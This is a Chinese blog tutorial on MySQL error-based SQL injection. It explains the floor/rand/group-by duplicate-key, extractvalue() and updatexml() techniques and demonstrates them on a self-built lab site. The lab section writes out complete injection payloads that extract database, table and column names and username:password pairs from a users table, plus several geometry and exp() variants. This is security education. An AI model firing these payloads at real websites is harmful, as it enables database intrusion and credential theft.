【SQL注入-04】报错注入案例

本文详细介绍了SQL报错注入的概念、原理及常用的命令,如groupby重复键冲突、extractvalue()和updatexml()函数。通过案例展示了如何利用报错注入获取数据库的敏感信息,包括数据库名、表名、字段名和字段内容。同时,总结了SQL注入的优先级顺序,并提醒注意某些函数和命令在某些数据库版本中可能不可用。
摘要由CSDN通过智能技术生成

1 报错注入概述

定义:与union联合查询注入类似,报错注入是利用网站的报错信息来带出我们想要的信息。
报错注入的原理:就是在错误信息中执行sql语句。触发报错的方式很多,具体细节也不尽相同.注意,报错注入可能不一定能成功,可以多刷新几次。

使用优先级:考虑到成功率和时间成本比union成本高,因此该方法在uninon无法实施时再做尝试。

  • union联合查询注入实施的条件是网页能回显我们第二条select语句的内容;
  • 报错注入实施的条件是数据库中sql语句的报错信息,会显示在页面中。

sql注入简单口诀

 是否有回显      				union联合查询注入
 是否有报错    					报错注入
 是否有布尔类型状态				布尔盲注
 绝招(没招的招)				延时注入

2 常用的报错注入命令

2.2 group by重复键冲突(count()+floor()+rand()+group by组合)

该种方式的报错注入只要存在回显报错信息,无论mysql版本是多少,都适用。当一次不成功时,多刷新几次。

利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞。输入命令报错并带回版本信息?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)floor()为向下取整;rand()为取0~1的随机数;floor(rand()*2)为0或;group by为分类聚合。其中,x 与a 均为别名,其实院语句为...as x...as a,只是as可以省略。0x5e为“^"符号的16进制。

报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。

在这里插入图片描述

2.2.1 group by重复键冲突的原理及bug演示

关于group by 聚合函数的报错,是mysql的一个bug编号为#8652.当使用rand()函数进行分组聚合时,会产生重复键的错误。
(1)创建数据库,并写入数据

create database groupbyTest;
create table r1 (a int);
insert into r1 values (1),  (2),  (1),  (2),  (1),  (2),  (1),  (2),  (1),  (2);

在这里插入图片描述
(2)简单的查询
select * from r1;
在这里插入图片描述
(3)count()、left()、rand()、group by 的组合应用,产生重复键冲突。还可以利用round()、floor()函数代替left()

select count(*) from r1 group by a;

在这里插入图片描述

select left(rand(),3), a from r1 group by 1;
# group by 1为按照第一列分类聚合
# 由于rand函数的存在,每次执行结果都是不同的

在这里插入图片描述
能否用cont( * )对各随机数出现的次数进行计数,上述sql语句进一步演化如下:

select left(rand(),3), a, count(*) from r1 group by 1;

结果上述sql语句执行,出现了报错信息。那么为什么会出现报错信息呢?先执行from、然后执行group by 1(rand 函数会被执行)、然后执行select(rand 函数会被执行),两次rand的值可能不一样。加上count(*)进行计数后,触发了重复键冲突,所以出现报错信息。
在这里插入图片描述
(4)利用。我们可以利用报错信息,获得数据库中的信息。

select concat(left(rand(),3),'^', version(), '^') as x, count(*) from information_schema.tables group by x; 
# 语句中的as是给concat(left(rand(),3),'^', version(), '^') 起一个别名x,方便后面的聚合操作。此处as可以省略,直接写x即可
select concat(left(rand(),3),'^', version(), '^')x, count(*) from information_schema.tables group by x; 

在这里插入图片描述
如果关键的表被禁用了,可采用如下语句

select concat(left(rand(),3),'^', version(), '^') as x, count(*) from (select 1 union select null union select !1)a group by x; 

如果rand()|count()被禁用了,可采用如下方式

select min(@a:=1) from information_schema.tables group by concat('^', @@version, '^', @a:=(@a+1)%2); 

在这里插入图片描述
不依赖额外的函数和具体的表

select min(@a:=1) from (select 1 union select null union select !1)a group by concat('^', @@version, '^', @a:=(@a+1)%2);=是一种赋值计算

在这里插入图片描述

2.2.2 补充:sql语句解析过程

(1)from

  • from 后面的表标识了这条语句要查询的数据源
  • from 过程之后会形成一个虚拟的表vt1

(2)WHERE

  • WHERE对VT1过程中生成的临时表进行过滤,满足where子句的列被插入到VT2

(3)GROUP BY

  • GROUP BY会把VT2生成的表按照GROUP BY中的列进行分组,生成VT3

(4)HAVING

  • HAVING 这个子句对VT3表中的不同组进行过滤,满足HAVING 条件的子句被加入到VT4表中。

(5)SELECT

  • SELECT这个子句对SELECT子句中的元素进行处理,生成VT5表
    ①计算表达式,计算SELECT子句中的表达式,生成VT5-1
    ②DISTINCT寻找VT5-1表中重复的列,并删掉,生成VT5-2
    ③TOP从ORDER BY子句定义的结果中,筛选出符合条件的列,生成VT5-3

(6)ORDER BY
ORDER BY从VT5-3中的表,根据ORDER BY子句中的结果排序,生成VT6

2.3 XPATH报错

注意,低版本的mysql数据库不支持XPATH报错,比如5.0版本以下的mysql版本没有以下函数

2.3.1 extractvalue()函数

输入命令报错并带回当前用户名。? id=1 and extractvalue(1, concat(0x5c, (select version()),0x5c))
在这里插入图片描述
其中extractvalue()函数语法、参数定义及作用如下:
extractvalue(xml_document,xpath_string)

  • 第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。
  • 第二个参数:XPath_string (Xpath格式的字符串)。

作用: 从目标XML中返回包含所查询值的字符串。
ps: 返回结果限制在32位字符。

2.3.2 updatexml()函数

输入命令报错并带回当前用户名。? id = 1 and updatexml(1,concat(0x5e,(select version()),0x5e),1).

在这里插入图片描述
其中updatexml()函数语法、参数定义及作用如下:
原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。

语法:updatexml(xml_document,xpath_string,new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc1
  • 第二个参数: XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
  • 第三个参数: new_value,String格式,替换查找到的符合条件的数据。

作用: 改变文档中符合条件的节点的值。

2.4 测试失败的命令

以下这些命令测试失败了,后续再研究下,先记录下来。

?id=1 and geometrycollection((select * from(select * from(select user())a)b));
?id=1 and multipoint((select * from(select * from(select user())a)b));
?id=1 and polygon((select * from(select * from(select user())a)b));
?id=1 and multipolygon((select * from(select * from(select user())a)b));
?id=1 and linestring((select * from(select * from(select user())a)b));
?id=1 and multilinestring((select * from(select * from(select user())a)b));
?id=1 and exp(~(select * from(select user())a));

3 报错注入案例

3.1 操作环境

实验靶场——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例

注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
在这里插入图片描述

3.2 获取敏感信息

以count()+floor()+rand()+group by组合为例,具体演示获取敏感信息的过程

3.2.1 获取数据库名

与上一节union查询类似,使用命令让报错信息显示出站点所在数据库名。?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
在这里插入图片描述

3.2.2 获取表名

与上一节union查询类似,使用命令让报错信息显示出站点所在数据库名下所有表名?id=1 and (select 1 from (select count(*),concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)?id=1 and (select 1 from (select count(*),concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)将limit的偏移量依次递增,直达显示正确结果,说明没有表了。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
上述语句尝试过用group_concat(table_name) from information_schema.tables where table_schema = database()来显示所有行的表名,但是一直不成功。
当采用updatexml()函数时,sql语句可为: ?id = 1 and (updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x5e),1))
在这里插入图片描述

3.2.3 获取字段名

与上一节union查询类似,使用命令让报错信息显示出站点所在users表名下所有字段名。
?id=1 and (select 1 from (select count(*),concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)、…将limit的偏移量依次递增,即[limit 0,1]→[limit 1,1]→[limit 2,1]→[limit 3,1]→…直到显示正确结果,说明没有字段名了。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

当采用updatexml()函数时,sql语句可为: ?id=1 and (updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),0x5e),1)),可以使用group_concat()函数,更加方便,可以一次性显示所有字段名。
在这里插入图片描述

3.2.4 获取字段内容

与上一节union查询类似,使用命令让报错信息显示users表上账号与密码的字段内容。?id=1 and (select 1 from (select count(*),concat(0x5e,(select concat(name,0x3a,password) from users limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
在这里插入图片描述

修改sql语句如下:?id=1 and (select 1 from (select count(*),concat(0x5e,(select name from users limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
在这里插入图片描述

改为采用updatexml()函数时,sql语句可为:? id=1 and (updatexml(1,concat(0x5e,(select concat(name,0x3a,password) from users limit 0,1),0x5e),1)),显示结果如下。当想查询其余账户密码时,将limit的偏移量依次递增,即[limit 0,1]→[limit 1,1]→[limit 2,1]→[limit 3,1]→…直达显示正确结果,说明没有字段内容了。当字段内容过长时,结尾少了部分密码且少了结束符。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4 总结

(1)SQL注入优先级:union注入>报错注入>布尔盲注>延迟注入;
(2)掌握报错注入常用的几个命令;
(3)掌握进行报错注入的方法及流程;
(4)updataxml()对仅能获取返回32位字符,对于长字符串需要分批次获取。

参考文章

[1] 《【SQL注入03】报错注入实例操作》

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值